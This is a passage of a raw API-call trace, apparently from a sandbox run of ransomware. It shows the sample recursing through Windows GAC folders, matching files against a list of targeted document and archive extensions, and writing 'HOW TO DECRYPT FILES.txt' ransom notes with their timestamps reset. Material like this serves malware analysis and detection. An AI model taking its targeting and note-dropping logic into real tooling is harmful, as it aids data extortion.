(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.html") returned 0 [0101.414] lstrlenA (lpString="*.html") returned 6 [0101.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.htm") returned 0 [0101.414] lstrlenA (lpString="*.htm") returned 5 [0101.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.xlsx") returned 0 [0101.414] lstrlenA (lpString="*.xlsx") returned 6 [0101.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.xls") returned 0 [0101.415] lstrlenA (lpString="*.xls") returned 5 [0101.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.mp4") returned 0 [0101.415] lstrlenA (lpString="*.mp4") returned 5 [0101.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.ppt") returned 0 [0101.415] lstrlenA (lpString="*.ppt") returned 5 [0101.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.pptx") returned 0 [0101.415] lstrlenA (lpString="*.pptx") returned 6 [0101.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.doc") returned 0 [0101.415] lstrlenA (lpString="*.doc") returned 5 [0101.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.dot") returned 0 [0101.415] lstrlenA (lpString="*.dot") returned 5 [0101.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.docx") returned 0 [0101.415] lstrlenA (lpString="*.docx") returned 6 [0101.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.7z") returned 0 [0101.415] lstrlenA (lpString="*.7z") returned 4 [0101.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.tar") returned 0 [0101.415] lstrlenA (lpString="*.tar") returned 5 [0101.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.bz2") returned 0 [0101.416] lstrlenA (lpString="*.bz2") returned 5 [0101.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.gz") returned 0 [0101.416] lstrlenA (lpString="*.gz") returned 4 [0101.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.mkv") returned 0 [0101.416] lstrlenA (lpString="*.mkv") returned 5 [0101.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.eml") returned 0 [0101.416] lstrlenA (lpString="*.eml") returned 5 [0101.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.msg") returned 0 [0101.416] lstrlenA (lpString="*.msg") returned 5 [0101.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.edb") returned 0 [0101.416] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b66e22, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x9b66e22, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7df7343c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa768, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFontCache.exe", cAlternateFileName="")) returned 0 [0101.416] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.417] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__31bf3856ad364e35", cAlternateFileName="300~1.0__")) returned 0 [0101.417] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.417] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720050, dwReserved1=0x730065, cFileName="PresentationFramework", cAlternateFileName="PRESEN~1")) returned 1 [0101.417] lstrcmpA (lpString1=".", lpString2="PresentationFramework") returned -1 [0101.417] lstrcmpA (lpString1="..", lpString2="PresentationFramework") returned -1 [0101.417] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.417] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="PresentationFramework" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework" [0101.417] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.418] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.418] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.418] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.418] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.418] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc1907127, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc1907127, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__31bf3856ad364e35", cAlternateFileName="300~1.0__")) returned 1 [0101.418] lstrcmpA (lpString1=".", lpString2="3.0.0.0__31bf3856ad364e35") returned -1 [0101.418] lstrcmpA (lpString1="..", lpString2="3.0.0.0__31bf3856ad364e35") returned -1 [0101.418] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework\\*.*") returned="*.*" [0101.418] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework\\", lpString2="3.0.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework\\3.0.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework\\3.0.0.0__31bf3856ad364e35" [0101.418] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework\\3.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc1907127, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc1907127, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.419] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.419] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc1907127, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc1907127, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.419] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.419] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.419] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9760469, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9760469, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa97d2889, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x509000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.dll", cAlternateFileName="")) returned 1 [0101.419] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.419] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationFramework.dll") returned -1 [0101.419] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationFramework.dll") returned -1 [0101.419] lstrcmpiA (lpString1="", lpString2="PresentationFramework.dll") returned -1 [0101.419] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework\\3.0.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0101.419] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework\\3.0.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework\\3.0.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework\\3.0.0.0__31bf3856ad364e35\\" [0101.420] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework\\3.0.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework\\3.0.0.0__31bf3856ad364e35\\") returned="" [0101.420] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework\\3.0.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0101.420] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\presentationframework\\3.0.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0101.420] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\presentationframework\\3.0.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.423] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.430] CloseHandle (hObject=0x90) returned 1 [0101.430] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework\\3.0.0.0__31bf3856ad364e35\\", lpString2="PresentationFramework.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework\\3.0.0.0__31bf3856ad364e35\\PresentationFramework.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework\\3.0.0.0__31bf3856ad364e35\\PresentationFramework.dll" [0101.430] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework\\3.0.0.0__31bf3856ad364e35\\PresentationFramework.dll", pszSpec="*.ems") returned 0 [0101.430] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9760469, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9760469, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa97d2889, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x509000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.dll", cAlternateFileName="")) returned 0 [0101.430] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.430] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc1907127, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc1907127, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__31bf3856ad364e35", cAlternateFileName="300~1.0__")) returned 0 [0101.431] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.431] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720050, dwReserved1=0x730065, cFileName="PresentationFramework.Aero", cAlternateFileName="PRESEN~1.AER")) returned 1 [0101.431] lstrcmpA (lpString1=".", lpString2="PresentationFramework.Aero") returned -1 [0101.431] lstrcmpA (lpString1="..", lpString2="PresentationFramework.Aero") returned -1 [0101.431] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.431] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="PresentationFramework.Aero" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Aero") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Aero" [0101.431] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.431] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.432] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.432] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.432] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.432] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__31bf3856ad364e35", cAlternateFileName="300~1.0__")) returned 1 [0101.432] lstrcmpA (lpString1=".", lpString2="3.0.0.0__31bf3856ad364e35") returned -1 [0101.432] lstrcmpA (lpString1="..", lpString2="3.0.0.0__31bf3856ad364e35") returned -1 [0101.432] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\*.*") returned="*.*" [0101.432] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\", lpString2="3.0.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\3.0.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\3.0.0.0__31bf3856ad364e35" [0101.432] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\3.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.432] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.432] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.433] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.433] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.433] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4de43cb, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x4de43cb, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x79b03bbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.Aero.dll", cAlternateFileName="")) returned 1 [0101.433] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.433] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationFramework.Aero.dll") returned -1 [0101.433] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationFramework.Aero.dll") returned -1 [0101.433] lstrcmpiA (lpString1="", lpString2="PresentationFramework.Aero.dll") returned -1 [0101.433] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\3.0.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0101.433] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\3.0.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\3.0.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\3.0.0.0__31bf3856ad364e35\\" [0101.433] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\3.0.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\3.0.0.0__31bf3856ad364e35\\") returned="" [0101.433] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\3.0.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0101.433] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\presentationframework.aero\\3.0.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0101.433] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\presentationframework.aero\\3.0.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.436] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.436] CloseHandle (hObject=0x90) returned 1 [0101.436] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\3.0.0.0__31bf3856ad364e35\\", lpString2="PresentationFramework.Aero.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\3.0.0.0__31bf3856ad364e35\\PresentationFramework.Aero.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\3.0.0.0__31bf3856ad364e35\\PresentationFramework.Aero.dll" [0101.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\3.0.0.0__31bf3856ad364e35\\PresentationFramework.Aero.dll", pszSpec="*.ems") returned 0 [0101.436] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4de43cb, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x4de43cb, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x79b03bbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.Aero.dll", cAlternateFileName="")) returned 0 [0101.436] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.436] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__31bf3856ad364e35", cAlternateFileName="300~1.0__")) returned 0 [0101.436] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.436] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720050, dwReserved1=0x730065, cFileName="PresentationFramework.Classic", cAlternateFileName="PRESEN~1.CLA")) returned 1 [0101.436] lstrcmpA (lpString1=".", lpString2="PresentationFramework.Classic") returned -1 [0101.436] lstrcmpA (lpString1="..", lpString2="PresentationFramework.Classic") returned -1 [0101.436] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.437] lstrcatA (in: 